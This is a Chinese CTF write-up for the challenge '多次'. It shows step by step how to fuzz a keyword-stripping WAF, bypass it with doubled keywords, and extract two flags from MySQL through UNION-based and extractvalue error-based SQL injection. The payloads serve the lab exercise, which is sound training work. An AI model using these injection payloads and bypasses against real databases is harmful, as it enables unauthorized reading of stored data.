多次

开卷看题

提示有两个flag

感觉像经典的SQL注入

开始注入

鉴于本题逼近末尾,且分值比较高,绝对会有WAF,所以手工测试很难受,上fuzz

前期准备

  1. 手工测试一下,发现页面只有正确结果和Error两种情况,且数值固定

  2. 明确常见的WAF(CTF专用版)的过滤机制

  • 过滤敏感字符:单双引号、括号等等
  • 过滤关键词:AND、OR、UNION、SELECT等
  • 很少用正则匹配恶意数据

基于此,给出一个简单的测试字典,主要测试过滤关键字词以及是否大小写敏感

1– -
1’– -
1”– -
1’)– -
1”)– -
1 AND 1– -
1 AnD 1– -
1 AandND 1– -
1’ AND 1– -
1’ AnD 1– -
1’ AandND 1– -
1” AND 1– -
1” AnD 1– -
1” AandND 1– -
1’) AND 1– -
1’) AnD 1– -
1’) AandND 1– -
1”) AND 1– -
1”) AnD 1– -
1”) AandND 1 – -

开始测试

BP启动,intruder走起

分析结果

仔细分析返回结果可以发现

  1. 发生错误的页面payload中均包含单引号
  2. WAF从参数中剔除了关键词(对比9、10、11行)

基于分析结果,再次测试闭合方式是否为单引号

payload:

  • 0’OorR’1
  • 1’AandND’0
  • 1’AandND’1

可以确定闭合方式是单引号,同时确定了没有返回结果时会报Error

顺带测试一下需要用到的关键词:UNION SELECT WHERE

顺风顺水

既然信息已经探测的足够多了,接下来就是正常的注入过程了

探测字段及回显位置

payload:0’ UunionNION SselectELECT 1,2– -

确定第二列回显

探测当前数据库中的所有表

payload:0’ UNunionION SEselectLECT 1,group_concat(table_name) from infOorRmation_schema.tables where table_schema=database()– -

flag1表相当可疑

探测flag1表中所有的字段

payload:0’ UNunionION SEselectLECT 1,group_concat(column_name) from infOorRmation_schema.columns where table_schema=database() ANandD table_name=’flag1’– -

获取flag1表中所有的行

payload:0’ UNunionION SEselectLECT 1,group_concat(flag1,0x2d,address) from flag1;– -

前面看着像base64,果断解码(别忘了排除连接符 - ),结果如下

flag1:好吧你会SQL注入

address:./Once_More.php

给出了另一个地址。

再次征战

访问Once_More.php

不得不说,场面极度嚣张,既然提示了ID是1,尝试提交id参数

经过测试,发现id在1-7之间返回 I am here,反之返回nobody,典型的布尔盲注

再次fuzz

还是老套路,抓包intruder一把梭

这回有意思了,直接报错(的确是没想到)

结合payload和报错,可以知道又是单引号闭合

但是测试了一下发现UNION SELECT过滤的死死的,直接回显看来无望了

往事如烟

==,好像除了联合查询还可以用强制报错回显数据啊

果断构造经典的报错payload:1’ and extractvalue(1,concat(0x7e,database(),0x7e))– -

YES,成功获取当前使用的数据库名称

Note:你问我为什么不用updatexml?因为updatexml有三个参数,而且第三个参数总是忘记。。。

乘风破浪

探测当前数据库中所有的表

payload:1’ and extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))– -

探测flag2表中所有的字段

payload:1’ and extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’flag2’),0x7e))– -

获取flag2表所有的行

payload:1’ and extractvalue(1,concat(0x7e,(SELECT group_concat(flag2,0x26,address) FROM flag2),0x7e))– -

拿下flag,提交的时候却显示失败,此时突然想到了上次踩的坑,看了看题干,淡定的把字母都转换为小写,完美通过

个人心得

这道题出的很NICE,既锻炼纯手工注入能力,又要求对SQLI技术有较为全面的掌握,同时还可以训练一下fuzz;实战意义很大,建议多多思考练习